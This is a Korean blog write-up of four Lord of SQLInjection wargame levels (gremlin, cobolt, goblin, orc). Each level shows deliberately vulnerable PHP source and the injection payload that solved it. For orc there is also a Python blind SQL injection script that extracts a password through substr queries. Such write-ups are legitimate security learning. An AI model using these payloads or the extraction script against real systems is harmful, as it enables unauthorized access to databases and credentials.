Webhacking-Write-Up/LOS

[LoS] gremlin, cobolt, goblin, orc

SlowTurtle_ 2023. 1. 14. 22:01
728x90

1. gremlin

코드를 보자.

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

preg_match로 필터링을 하지만 크게 상관이 없었다.

?id=' or 1=1 #

을 넘겨주니?

해결했다.

 

2. cobolt

코드를 보자.

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이번엔 GET방식으로 pw를 입력받은 뒤 md5로 암호화한다. 그러나 문제는 id가 admin이면 해결된다. 따라서 GET 방식으로 id를 admin으로 준 뒤 그 이후를 주석처리하면 된다.

?id=admin%27%20%23

보냈더니?

해결했다.

 

3. goblin

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

이번엔 /, "(더블쿼터), '(싱글쿼터)를 필터링에 추가했다. id가 admin이면 해결된다. 따라서 guest를 and no =0으로 무력화 시킨 후 id를 admin으로 출력시키도록 하면 된다.

?no=0%20or%20no=2

보내보니?

해결했다.

 

4. orc

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

처음에 Hello admin을 출력하는지 확인하기 위해서 ' or 1=1%23을 보내보았다.

맞는 값이 나오면 Hello admin을 출력하고 틀리면 아무것도 출력해주지 않음을 알 수 있었다. 그럼 길이를 확인하기 위해 'or length(pw) > 5%23를 보냈더니 Hello admin이 출력됐고 5대신 10을 넣어보니 아무것도 출력되지 않았다. 이것으로 5<pw의 길이<10 임을 알았다. 그래서 6,7,8 대입해보니 

?pw='  or length(pw) = 8%23 을 보냈을 때 Hello admin이 뜬 것을 보니 pw길이는 8글자임을 알 수 있었다.

pw길이가 8임을 알고 pw를 찾기위해 Blind SQL Injection를 하나하나 노가다할 수 없으니 파이썬 스크립트를 작성해보았다.

import requests

length = 8
cookie = {'PHPSESSID':'kag5k98ipur0r6u4rcfo9grojk'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ""

for i in range(1,length + 1):
    for j in string:
        host = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
        query = f"?pw='or id='admin' and substr(pw,{i},1)='{j}' %23"
        url = host + query
        r = requests.get(url = url, cookies = cookie)
        if "Hello admin" in r.text:
            pw += j

print("password : " + pw)
password : 095a9852

위와 같이 결과가 나왔고 ?pw=095a9852를 넣어주면?

해결했다.

728x90